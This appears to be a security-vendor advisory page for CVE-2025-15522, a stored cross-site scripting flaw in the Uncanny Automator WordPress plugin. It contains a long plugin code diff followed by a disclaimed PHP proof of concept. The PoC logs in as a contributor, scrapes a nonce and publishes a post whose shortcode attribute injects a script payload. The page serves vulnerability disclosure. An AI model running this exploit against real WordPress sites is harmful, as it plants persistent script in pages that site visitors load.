+	 * @return true|WP_Error True if allowed, WP_Error if banned.
+	 */
+	private function check_action_banned( string $action_code ) {
+
+		// Allow filtering of banned actions for extensibility.
+		$banned_actions = apply_filters( 'automator_agent_banned_actions', self::BANNED_ACTIONS );
+
+		if ( ! isset( $banned_actions[ $action_code ] ) ) {
+			return true;
+		}
+
+		$reason = $banned_actions[ $action_code ];
+
+		// Build a helpful error message for the AI.
+		$message = sprintf(
+			/* translators: 1: Action code, 2: Reason for restriction */
+			"Action '%s' is not available for AI execution. %s If you need to perform this operation, please guide the user to do it manually in WordPress admin or use a recipe instead.",
+			$action_code,
+			$reason
+		);
+
+		return new WP_Error( 'action_banned', $message );
+	}
+
+	/**
+	 * Validate fields against action schema.
+	 *
+	 * Uses Action_Validator to check required fields, formats, and business rules.
+	 *
+	 * @param string $action_code Action code.
+	 * @param array  $fields      Field values (raw, before normalization).
+	 *
+	 * @return true|WP_Error
+	 */
+	private function validate_fields( string $action_code, array $fields ) {
+
+		$validator = $this->get_validator();
+		$result    = $validator->validate( $action_code, $fields );
+
+		if ( is_wp_error( $result ) ) {
+			return $result;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get or create validator instance (lazy-loaded singleton).
+	 *
+	 * @return Action_Validator
+	 */
+	private function get_validator(): Action_Validator {
+
+		if ( null === $this->validator ) {
+			$this->validator = new Action_Validator();
+		}
+
+		return $this->validator;
+	}
+
+	/**
+	 * Normalize field values for action execution.
+	 *
+	 * Converts array values (repeater fields, multi-select) to JSON strings,
+	 * which is the format Automator actions expect.
+	 *
+	 * @param array $fields Raw field values from AI.
+	 *
+	 * @return array Normalized fields with arrays JSON-encoded.
+	 */
+	private function normalize_fields( array $fields ): array {
+
+		$normalized = array();
+
+		foreach ( $fields as $key => $value ) {
+			if ( is_array( $value ) ) {
+				// Repeater fields and multi-select fields must be JSON strings.
+				$normalized[ $key ] = wp_json_encode( $value );
+			} else {
+				$normalized[ $key ] = $value;
+			}
+		}
+
+		return $normalized;
+	}
+
+	/**
+	 * Get the action definition from registry.
+	 *
+	 * @param Action_Code $action_code Action code value object.
+	 *
+	 * @return array{instance: object, method: string|null}|WP_Error
+	 */
+	private function get_action_definition( Action_Code $action_code ) {
+
+		if ( ! function_exists( 'Automator' ) ) {
+			return new WP_Error( 'automator_not_loaded', 'Automator not initialized' );
+		}
+
+		$code       = $action_code->get_value();
+		$definition = Automator()->get_action( $code );
+
+		if ( false === $definition || empty( $definition ) ) {
+			return new WP_Error(
+				'action_not_found',
+				/* translators: %s: Action code */
+				sprintf( esc_html_x( "Action '%s' not found in registry", 'Error message when action is not found', 'uncanny-automator' ), esc_html( $code ) )
+			);
+		}
+
+		$execution_function = $definition['execution_function'] ?? null;
+
+		if ( ! is_array( $execution_function ) || empty( $execution_function[0] ) ) {
+			return new WP_Error(
+				'invalid_execution_function',
+				/* translators: %s: Action code */
+				sprintf( esc_html_x( "Action '%s' has invalid execution_function", 'Error message when action has invalid execution function', 'uncanny-automator' ), esc_html( $code ) )
+			);
+		}
+
+		$instance = $execution_function[0];
+		$method   = $execution_function[1] ?? null;
+
+		if ( ! is_object( $instance ) ) {
+			return new WP_Error(
+				'instance_not_object',
+				/* translators: %s: Action code */
+				sprintf( esc_html_x( "Action '%s' instance is not an object", 'Error message when action instance is invalid', 'uncanny-automator' ), esc_html( $code ) )
+			);
+		}
+
+		return array(
+			'instance' => $instance,
+			'method'   => $method,
+		);
+	}
+
+	/**
+	 * Invoke modern action via process_action method.
+	 *
+	 * Modern actions (App_Action, Abstract Action, Trait-based) all have process_action().
+	 * Signature: process_action($user_id, $action_data, $recipe_id, $args, $parsed)
+	 *
+	 * @param object $action  Action instance.
+	 * @param array  $fields  Field values.
+	 * @param int    $user_id User ID.
+	 *
+	 * @return array{success: bool, data: array, error?: string}
+	 */
+	private function invoke_modern_action( object $action, array $fields, int $user_id ): array {
+
+		$action_data = $this->build_action_data( $fields );
+
+		// Inject state into action instance via reflection.
+		$this->inject_action_state( $action, $user_id, $action_data, $fields );
+
+		try {
+			$method = new ReflectionMethod( $action, 'process_action' );
+
+			// PHP < 8.1 requires setAccessible for protected/private methods.
+			if ( $this->is_php_below_81() ) {
+				$method->setAccessible( true );
+			}
+
+			// Invoke with standard 5-param signature.
+			$result = $method->invoke( $action, $user_id, $action_data, 0, array(), $fields );
+
+			return $this->build_response( $action, $result );
+
+		} catch ( ReflectionException $e ) {
+			return array(
+				'success' => false,
+				'data'    => array(),
+				'error'   => 'Reflection error: ' . $e->getMessage(),
+			);
+		} catch ( Throwable $e ) {
+			return array(
+				'success' => false,
+				'data'    => array(),
+				'error'   => $e->getMessage(),
+			);
+		}
+	}
+
+	/**
+	 * Invoke legacy action method.
+	 *
+	 * Legacy actions use custom method names with 4-param signature:
+	 * method_name($user_id, $action_data, $recipe_id, $args)
+	 *
+	 * Error handling: Legacy actions call Automator()->complete_action() with errors.
+	 * We capture these via the 'automator_llm_action_error' hook.
+	 *
+	 * @param object $action  Action instance.
+	 * @param string $method  Method name to call.
+	 * @param array  $fields  Field values.
+	 * @param int    $user_id User ID.
+	 *
+	 * @return array{success: bool, data: array, error?: string}
+	 */
+	private function invoke_legacy_action( object $action, string $method, array $fields, int $user_id ): array {
+
+		$action_data = $this->build_action_data( $fields, true );
+
+		// Use closure variable to avoid race conditions with instance property.
+		// Each execution gets a unique UUID, allowing concurrent action executions
+		// to correctly match errors to their originating action instance.
+		$captured_error = null;
+		$error_capture  = function ( $error_message, $error_action_data = null ) use ( &$captured_error, $action_data ) {
+			// Only capture if this is OUR action (prevents cross-contamination in concurrent execution).
+			// The UUID comparison ensures that if multiple actions execute simultaneously,
+			// each error is attributed to the correct action instance, not a different one.
+			if ( null === $error_action_data || ( isset( $error_action_data['execution_id'] ) && $error_action_data['execution_id'] === $action_data['execution_id'] ) ) {
+				$captured_error = $error_message;
+			}
+		};
+		add_action( 'automator_llm_action_error', $error_capture, 10, 2 );
+
+		try {
+			$reflection = new ReflectionMethod( $action, $method );
+
+			if ( $this->is_php_below_81() ) {
+				$reflection->setAccessible( true );
+			}
+
+			// Legacy 4-param signature.
+			$args   = array( 'from_llm' => true );
+			$result = $reflection->invoke( $action, $user_id, $action_data, 0, $args );
+
+			return $this->build_response( $action, $result, true, $captured_error );
+
+		} catch ( ReflectionException $e ) {
+			return array(
+				'success' => false,
+				'data'    => array(),
+				'error'   => 'Reflection error: ' . $e->getMessage(),
+			);
+		} catch ( Throwable $e ) {
+			return array(
+				'success' => false,
+				'data'    => array(),
+				'error'   => $e->getMessage(),
+			);
+		} finally {
+			// Always clean up hook to prevent memory leaks.
+			remove_action( 'automator_llm_action_error', $error_capture, 10 );
+		}
+	}
+
+	/**
+	 * Build action_data array.
+	 *
+	 * @param array $fields     Field values.
+	 * @param bool  $is_legacy  Whether this is a legacy action.
+	 *
+	 * @return array
+	 */
+	private function build_action_data( array $fields, bool $is_legacy = false ): array {
+
+		$action_data = array(
+			'ID'           => 0,
+			'meta'         => $fields,
+			'agent_mode'   => true,
+			'execution_id' => wp_generate_uuid4(), // Unique ID to prevent race conditions.
+		);
+
+		// Legacy actions need from_llm flag in action_data for error capture.
+		if ( $is_legacy ) {
+			$action_data['from_llm'] = true;
+		}
+
+		return $action_data;
+	}
+
+	/**
+	 * Inject state into action instance.
+	 *
+	 * Modern actions expect certain properties to be set before process_action() is called.
+	 *
+	 * @param object $action      Action instance.
+	 * @param int    $user_id     User ID.
+	 * @param array  $action_data Action data array.
+	 * @param array  $fields      Parsed field values.
+	 */
+	private function inject_action_state( object $action, int $user_id, array $action_data, array $fields ): void {
+
+		$critical_properties = array(
+			'user_id'      => $user_id,
+			'action_data'  => $action_data,
+			'recipe_id'    => 0,
+			'args'         => array(),
+			'maybe_parsed' => $fields,
+		);
+
+		foreach ( $critical_properties as $name => $value ) {
+			$set = $this->set_property( $action, $name, $value );
+
+			// Log warning for critical properties that couldn't be set.
+			if ( ! $set && in_array( $name, array( 'maybe_parsed', 'action_data' ), true ) ) {
+				$this->log( 'warning', sprintf( 'Could not set critical property: %s', $name ) );
+			}
+		}
+	}
+
+	/**
+	 * Build standardized response from action result.
+	 *
+	 * @param object      $action         Action instance.
+	 * @param mixed       $result         Raw result from action method.
+	 * @param bool        $is_legacy      Whether this is a legacy action.
+	 * @param string|null $captured_error Error captured from legacy hook.
+	 *
+	 * @return array{success: bool, data: array, error?: string, tokens?: array}
+	 */
+	private function build_response( object $action, $result, bool $is_legacy = false, ?string $captured_error = null ): array {
+
+		// Collect errors from all possible sources.
+		$errors = $this->collect_errors( $action, $result, $is_legacy, $captured_error );
+
+		// Determine success: no errors AND result is not explicitly false.
+		$success = empty( $errors ) && false !== $result;
+
+		$response = array(
+			'success' => $success,
+			'data'    => $this->normalize_result_data( $result ),
+		);
+
+		// Capture action tokens (from hydrate_tokens) - wrapped in try-catch for safety.
+		$tokens = $this->get_action_tokens( $action );
+		if ( ! empty( $tokens ) ) {
+			$response['tokens'] = $tokens;
+		}
+
+		if ( ! empty( $errors ) ) {
+			$response['error'] = $errors;
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Get action tokens from hydrate_tokens() call.
+	 *
+	 * Actions store output tokens in $this->dev_input via hydrate_tokens().
+	 *
+	 * @param object $action Action instance.
+	 *
+	 * @return array
+	 */
+	private function get_action_tokens( object $action ): array {
+
+		try {
+			$ref = new ReflectionClass( $action );
+
+			while ( $ref ) {
+				if ( $ref->hasProperty( 'dev_input' ) ) {
+					$prop = $ref->getProperty( 'dev_input' );
+
+					if ( $this->is_php_below_81() ) {
+						$prop->setAccessible( true );
+					}
+
+					$tokens = $prop->getValue( $action );
+					return is_array( $tokens ) ? $tokens : array();
+				}
+				$ref = $ref->getParentClass();
+			}
+		} catch ( ReflectionException $e ) {
+			$this->log( 'warning', 'Failed to retrieve action tokens: ' . $e->getMessage() );
+		}
+
+		return array();
+	}
+
+	/**
+	 * Collect errors from all possible sources.
+	 *
+	 * @param object      $action         Action instance.
+	 * @param mixed       $result         Raw result.
+	 * @param bool        $is_legacy      Is legacy action.
+	 * @param string|null $captured_error Error from legacy hook.
+	 *
+	 * @return string Combined error message.
+	 */
+	private function collect_errors( object $action, $result, bool $is_legacy, ?string $captured_error = null ): string {
+
+		$errors = array();
+
+		// 1. Legacy error from hook (passed as parameter to avoid race conditions).
+		if ( $is_legacy && ! empty( $captured_error ) ) {
+			$errors[] = $captured_error;
+		}
+
+		// 2. Modern action errors via get_log_errors().
+		if ( method_exists( $action, 'get_log_errors' ) ) {
+			$log_errors = $action->get_log_errors();
+			if ( ! empty( $log_errors ) ) {
+				$errors[] = is_array( $log_errors ) ? implode( '; ', $log_errors ) : $log_errors;
+			}
+		}
+
+		// 3. WP_Error result.
+		if ( is_wp_error( $result ) ) {
+			$errors[] = $result->get_error_message();
+		}
+
+		return implode( ' | ', array_filter( $errors ) );
+	}
+
+	/**
+	 * Normalize result data to array.
+	 *
+	 * @param mixed $result Raw result.
+	 *
+	 * @return array
+	 */
+	private function normalize_result_data( $result ): array {
+
+		if ( is_array( $result ) ) {
+			return $result;
+		}
+
+		if ( is_wp_error( $result ) ) {
+			return array(
+				'wp_error_code' => $result->get_error_code(),
+				'wp_error_data' => $result->get_error_data(),
+			);
+		}
+
+		if ( null === $result || true === $result ) {
+			return array();
+		}
+
+		if ( is_scalar( $result ) ) {
+			return array( 'result' => $result );
+		}
+
+		if ( is_object( $result ) ) {
+			return array( 'result' => get_class( $result ) );
+		}
+
+		return array();
+	}
+
+	/**
+	 * Set property via reflection, traversing parent classes.
+	 *
+	 * @param object $obj   Object instance.
+	 * @param string $name  Property name.
+	 * @param mixed  $value Value to set.
+	 *
+	 * @return bool True if property was set, false otherwise.
+	 */
+	private function set_property( object $obj, string $name, $value ): bool {
+
+		try {
+			$ref = new ReflectionClass( $obj );
+
+			// Traverse class hierarchy to find property.
+			while ( $ref ) {
+				if ( $ref->hasProperty( $name ) ) {
+					$prop = $ref->getProperty( $name );
+
+					if ( $this->is_php_below_81() ) {
+						$prop->setAccessible( true );
+					}
+
+					$prop->setValue( $obj, $value );
+					return true;
+				}
+				$ref = $ref->getParentClass();
+			}
+		} catch ( ReflectionException $e ) {
+			$this->log( 'warning', sprintf( 'Failed to set property %s: %s', $name, $e->getMessage() ) );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if PHP version is below 8.1.
+	 *
+	 * PHP 8.1+ allows accessing private/protected properties via reflection
+	 * without calling setAccessible(). This method centralizes the check.
+	 *
+	 * @return bool True if PHP version is below 8.1.
+	 */
+	private function is_php_below_81(): bool {
+		return PHP_VERSION_ID < 80100;
+	}
+
+	/**
+	 * Log message with context.
+	 *
+	 * @param string $level   Log level (info, error, warning, debug).
+	 * @param string $message Message to log.
+	 */
+	private function log( string $level, string $message ): void {
+
+		if ( ! function_exists( 'automator_log' ) ) {
+			return;
+		}
+
+		$code   = $this->action_code ? $this->action_code->get_value() : 'UNKNOWN';
+		$prefix = sprintf( '[ActionExecutor:%s] ', $code );
+
+		automator_log( $prefix . $message, ucfirst( $level ) );
+	}
+}
--- a/uncanny-automator/src/api/application/value_objects/class-url.php
+++ b/uncanny-automator/src/api/application/value_objects/class-url.php
@@ -0,0 +1,86 @@
+<?php
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiApplicationValue_Objects;
+
+/**
+ * URL Value Object.
+ *
+ * Represents a valid URL string.
+ * Tokens ({{...}}) bypass validation as they're resolved at runtime.
+ *
+ * @since 7.0.0
+ */
+class Url {
+
+	private string $value;
+
+	/**
+	 * Constructor.
+	 *
+	 * @param string $value URL string to validate and store.
+	 * @throws InvalidArgumentException If invalid URL.
+	 */
+	public function __construct( string $value ) {
+		$this->validate( $value );
+		$this->value = $value;
+	}
+
+	/**
+	 * Get URL value.
+	 *
+	 * @return string The URL.
+	 */
+	public function get_value(): string {
+		return $this->value;
+	}
+
+	/**
+	 * Convert to string.
+	 *
+	 * @return string The URL value.
+	 */
+	public function __toString(): string {
+		return $this->value;
+	}
+
+	/**
+	 * Check if URL contains tokens.
+	 *
+	 * @param string $value Value to check.
+	 * @return bool True if contains tokens.
+	 */
+	private function contains_tokens( string $value ): bool {
+		return false !== strpos( $value, '{{' ) && false !== strpos( $value, '}}' );
+	}
+
+	/**
+	 * Validate URL.
+	 *
+	 * @param string $value Value to validate.
+	 * @throws InvalidArgumentException If invalid URL.
+	 */
+	private function validate( string $value ): void {
+
+		$value = trim( $value );
+
+		if ( empty( $value ) ) {
+			throw new InvalidArgumentException( esc_html_x( 'URL cannot be empty', 'URL validation error', 'uncanny-automator' ) );
+		}
+
+		// Skip validation if URL contains tokens - they'll be resolved at runtime.
+		if ( $this->contains_tokens( $value ) ) {
+			return;
+		}
+
+		// Validate URL format.
+		if ( false === filter_var( $value, FILTER_VALIDATE_URL ) ) {
+			throw new InvalidArgumentException(
+				sprintf(
+					/* translators: %s URL value */
+					esc_html_x( 'Invalid URL format: %s', 'URL validation error', 'uncanny-automator' ),
+					esc_html( $value )
+				)
+			);
+		}
+	}
+}
--- a/uncanny-automator/src/api/components/action/class-action-config.php
+++ b/uncanny-automator/src/api/components/action/class-action-config.php
@@ -0,0 +1,282 @@
+<?php
+// phpcs:disable WordPress.Security.EscapeOutput, WordPress.WP.I18n
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiComponentsAction;
+
+use Uncanny_AutomatorApiComponentsRecipeValue_ObjectsRecipe_Id;
+use Uncanny_AutomatorApiComponentsActionEnumsAction_Status;
+
+/**
+ * Action Configuration.
+ *
+ * Data transfer object for action configuration with fluent interface.
+ * Contains no validation logic - serves as a bridge between raw data
+ * and validated domain objects.
+ *
+ * @since 7.0.0
+ */
+class Action_Config {
+
+	private array $data = array();
+	private $id;
+	private $recipe_id;
+	private $parent_id;
+	private $integration_code;
+	private $code;
+	private $meta_code;
+	private $user_type;
+	private $status;
+	private $meta          = array();
+	private $is_deprecated = false;
+
+	/**
+	 * Set a configuration value (generic approach).
+	 *
+	 * @param string $key Configuration key.
+	 * @param mixed  $value Configuration value.
+	 * @return self
+	 */
+	public function set( string $key, $value ): self {
+		$this->data[ $key ] = $value;
+		return $this;
+	}
+
+	/**
+	 * Get a configuration value (generic approach).
+	 *
+	 * @param string $key Configuration key.
+	 * @param mixed  $default Default value if key not found.
+	 * @return mixed
+	 */
+	public function get( string $key, $default_value = null ) {
+		return $this->data[ $key ] ?? $default_value;
+	}
+
+	/**
+	 * Set action ID.
+	 *
+	 * @param mixed $id Action ID.
+	 * @return self
+	 */
+	public function id( $id ): self {
+		$this->id = $id;
+		return $this;
+	}
+
+	/**
+	 * Set action recipe ID.
+	 *
+	 * @param mixed $recipe_id Action recipe ID.
+	 * @return self
+	 */
+	public function recipe_id( $recipe_id ): self {
+		$this->recipe_id = $recipe_id;
+		return $this;
+	}
+
+	/**
+	 * Set action parent ID.
+	 *
+	 * @param Uncanny_AutomatorApiComponentsInterfacesParent_Id $parent_id Parent identifier (Recipe_ID or Loop_ID).
+	 * @return self
+	 */
+	public function parent_id( $parent_id ): self {
+		$this->parent_id = $parent_id;
+		return $this;
+	}
+
+	/**
+	 * Set action integration code.
+	 *
+	 * @param string $integration_code Integration identifier (e.g., 'WP', 'MAILCHIMP').
+	 * @return self
+	 */
+	public function integration_code( string $integration_code ): self {
+		$this->integration_code = $integration_code;
+		return $this;
+	}
+
+	/**
+	 * Set action code.
+	 *
+	 * @param string $code Action code (e.g., 'SEND_EMAIL', 'CREATE_POST').
+	 * @return self
+	 */
+	public function code( string $code ): self {
+		$this->code = $code;
+		return $this;
+	}
+
+	/**
+	 * Set action meta code.
+	 *
+	 * @param string $meta_code Action meta code identifier.
+	 * @return self
+	 */
+	public function meta_code( string $meta_code ): self {
+		$this->meta_code = $meta_code;
+		return $this;
+	}
+
+	/**
+	 * Set action user type.
+	 *
+	 * @param string $user_type Action user type ('user' or 'anonymous').
+	 * @return self
+	 */
+	public function user_type( string $user_type ): self {
+		$this->user_type = $user_type;
+		return $this;
+	}
+
+	/**
+	 * Set action status.
+	 *
+	 * @param string $status Action status ('draft' or 'publish').
+	 * @return self
+	 */
+	public function status( string $status ): self {
+		$this->status = $status;
+		return $this;
+	}
+
+	/**
+	 * Set action meta.
+	 *
+	 * @param array $meta Action-specific settings and configuration.
+	 * @return self
+	 */
+	public function meta( array $meta ): self {
+		$this->meta = $meta;
+		return $this;
+	}
+
+	/**
+	 * Set action deprecated status.
+	 *
+	 * @param bool $is_deprecated Whether action is deprecated.
+	 * @return self
+	 */
+	public function is_deprecated( bool $is_deprecated ): self {
+		$this->is_deprecated = $is_deprecated;
+		return $this;
+	}
+
+	/**
+	 * Get action ID.
+	 *
+	 * @return mixed
+	 */
+	public function get_id() {
+		return $this->id;
+	}
+
+	/**
+	 * Get action recipe ID.
+	 *
+	 * @return mixed
+	 */
+	public function get_recipe_id() {
+		return $this->recipe_id;
+	}
+
+	/**
+	 * Get action parent ID.
+	 *
+	 * @return Uncanny_AutomatorApiComponentsInterfacesParent_Id|null Parent identifier or null.
+	 */
+	public function get_parent_id() {
+		return $this->parent_id;
+	}
+
+	/**
+	 * Get action integration code.
+	 *
+	 * @return string|null
+	 */
+	public function get_integration_code(): ?string {
+		return $this->integration_code;
+	}
+
+	/**
+	 * Get action code.
+	 *
+	 * @return string|null
+	 */
+	public function get_code(): ?string {
+		return $this->code;
+	}
+
+	/**
+	 * Get action meta code.
+	 *
+	 * @return string|null
+	 */
+	public function get_meta_code(): ?string {
+		return $this->meta_code;
+	}
+
+	/**
+	 * Get action user type.
+	 *
+	 * @return string|null
+	 */
+	public function get_user_type(): ?string {
+		return $this->user_type;
+	}
+
+	/**
+	 * Get action status.
+	 *
+	 * @return string|null
+	 */
+	public function get_status(): ?string {
+		return $this->status;
+	}
+
+	/**
+	 * Get action meta.
+	 *
+	 * @return array
+	 */
+	public function get_meta(): array {
+		return $this->meta;
+	}
+
+	/**
+	 * Get action deprecated status.
+	 *
+	 * @return bool
+	 */
+	public function get_is_deprecated(): bool {
+		return $this->is_deprecated;
+	}
+
+	/**
+	 * Create from array.
+	 *
+	 * @param array $data Array data.
+	 * @return self
+	 */
+	public static function from_array( array $data ): self {
+		$config = ( new self() )
+			->id( $data['action_id'] ?? null )
+			->recipe_id( $data['action_recipe_id'] ?? null )
+			->integration_code( $data['action_integration_code'] ?? '' )
+			->code( $data['action_code'] ?? '' )
+			->meta_code( $data['action_meta_code'] ?? '' )
+			->user_type( $data['action_user_type'] ?? 'user' )
+			->status( $data['action_status'] ?? Action_Status::DRAFT )
+			->meta( $data['action_meta'] ?? array() )
+			->is_deprecated( $data['is_deprecated'] ?? false );
+
+		// Set parent_id - defaults to recipe_id as Recipe_Id for backward compatibility
+		if ( isset( $data['action_parent_id'] ) && $data['action_parent_id'] instanceof Uncanny_AutomatorApiComponentsInterfacesParent_Id ) {
+			$config->parent_id( $data['action_parent_id'] );
+		} elseif ( null !== $data['action_recipe_id'] ?? null ) {
+			$config->parent_id( new Recipe_Id( $data['action_recipe_id'] ) );
+		}
+
+		return $config;
+	}
+}
--- a/uncanny-automator/src/api/components/action/class-action.php
+++ b/uncanny-automator/src/api/components/action/class-action.php
@@ -0,0 +1,322 @@
+<?php
+// phpcs:disable WordPress.Security.EscapeOutput, WordPress.WP.I18n
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiComponentsAction;
+
+use Uncanny_AutomatorApiComponentsActionRegistryWP_Action_Registry;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Id;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Integration_Code;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Code;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_User_Type;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Meta;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Meta_Code;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Deprecated;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Recipe_Id;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Parent_Id;
+use Uncanny_AutomatorApiComponentsActionValue_ObjectsAction_Status_Value;
+
+/**
+ * Action Aggregate.
+ *
+ * Pure domain object representing an action instance within a recipe.
+ * Contains zero WordPress dependencies - pure PHP business logic only.
+ *
+ * @since 7.0.0
+ */
+class Action {
+
+	private Action_Id $action_id;
+	private Action_Integration_Code $action_integration_code;
+	private Action_Code $action_code;
+	private Action_Meta_Code $action_meta_code;
+	private Action_User_Type $action_type;
+	private Action_Meta $action_meta;
+	private Action_Recipe_Id $action_recipe_id;
+	private Action_Deprecated $deprecated;
+	private ?Action_Parent_Id $parent_id = null;
+	private ?Action_Status_Value $status = null;
+
+	/**
+	 * Constructor.
+	 *
+	 * @param Action_Config $config Action configuration object.
+	 */
+	public function __construct( Action_Config $config ) {
+
+		// Use value objects to ensure data integrity on instance creation instead of runtime.
+		// This way, once the instance is created, we can be sure it's valid.
+		// Any invalid data will throw an exception here.
+		// This also makes the class immutable after creation.
+		// Any changes require creating a new instance with new data.
+		// This way LLMs can reason and drift all they want but at the end of the day,
+		// truth lives in our business logic, not in the LLM's head. ~ Joseph Gabito
+		$this->action_id               = new Action_Id( $config->get_id() );
+		$this->action_integration_code = new Action_Integration_Code( $config->get_integration_code() );
+		$this->action_code             = new Action_Code( $config->get_code() );
+		$this->action_meta_code        = new Action_Meta_Code( $config->get_meta_code() );
+		$this->action_type             = new Action_User_Type( $config->get_user_type() );
+		$this->action_meta             = new Action_Meta( $config->get_meta() );
+
+		// Extract recipe_id from meta - actions must always belong to a recipe
+		$this->action_recipe_id = new Action_Recipe_Id( $config->get_recipe_id() );
+		$this->deprecated       = new Action_Deprecated( $config->get_is_deprecated() );
+
+		// Set parent_id - wraps the Parent_Id interface (Recipe_ID or Loop_ID)
+		if ( null !== $config->get_parent_id() ) {
+			$this->parent_id = new Action_Parent_Id( $config->get_parent_id() );
+		}
+
+		// Set status - defaults to draft
+		if ( null !== $config->get_status() ) {
+			$this->status = new Action_Status_Value( $config->get_status() );
+		}
+
+		$this->validate_business_rules();
+	}
+
+	/**
+	 * Get action ID.
+	 *
+	 * @return Action_Id Action ID.
+	 */
+	public function get_action_id(): Action_Id {
+		return $this->action_id;
+	}
+
+	/**
+	 * Get action integration code.
+	 *
+	 * @return Action_Integration_Code Action integration code.
+	 */
+	public function get_action_integration_code(): Action_Integration_Code {
+		return $this->action_integration_code;
+	}
+
+	/**
+	 * Get action code.
+	 *
+	 * @return Action_Code Action code.
+	 */
+	public function get_action_code(): Action_Code {
+		return $this->action_code;
+	}
+
+	/**
+	 * Get action type.
+	 *
+	 * @return Action_User_Type Action type.
+	 */
+	public function get_action_type(): Action_User_Type {
+		return $this->action_type;
+	}
+
+	/**
+	 * Get action meta.
+	 *
+	 * @return Action_Meta Action meta.
+	 */
+	public function get_action_meta(): Action_Meta {
+		return $this->action_meta;
+	}
+
+	/**
+	 * Get action recipe ID.
+	 *
+	 * @return Action_Recipe_Id Action recipe ID.
+	 */
+	public function get_action_recipe_id(): Action_Recipe_Id {
+		return $this->action_recipe_id;
+	}
+
+	/**
+	 * Get action parent ID.
+	 *
+	 * @return Action_Parent_Id|null Action parent ID or null.
+	 */
+	public function get_parent_id(): ?Action_Parent_Id {
+		return $this->parent_id;
+	}
+
+	/**
+	 * Get action status.
+	 *
+	 * @return Action_Status_Value|null Action status or null.
+	 */
+	public function get_status(): ?Action_Status_Value {
+		return $this->status;
+	}
+
+	/**
+	 * Get action meta code.
+	 *
+	 * @return Action_Meta_Code Action meta code.
+	 */
+	public

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15522 - Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 6.10.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

<?php
/**
 * Proof of Concept for CVE-2025-15522
 * Requires Contributor-level WordPress credentials
 * Targets the automator_discord_user_mapping shortcode's verified_message parameter
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Malicious JavaScript payload to inject
$payload = '<script>alert("Atomic Edge Research - XSS via CVE-2025-15522");</script>';

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Step 2: Get nonce for post creation
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from the page (simplified - in real scenario use DOM parsing)
preg_match('/_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Create a post with malicious shortcode
$post_url = $target_url . '/wp-admin/post.php';
$post_data = array(
    'post_title' => 'Test Post - CVE-2025-15522',
    'content' => '[automator_discord_user_mapping verified_message="' . $payload . '"]',
    'post_type' => 'post',
    'post_status' => 'publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => $admin_url,
    'action' => 'editpost',
    'post_ID' => '',
    'save' => 'Publish'
);

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check if post was created successfully
if (strpos($response, 'Post published') !== false) {
    echo "Exploit successful! Post created with XSS payload.n";
    echo "Payload: " . $payload . "n";
    echo "The payload will execute when users with verified Discord accounts view the page.n";
} else {
    echo "Exploit failed. Check authentication or site configuration.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School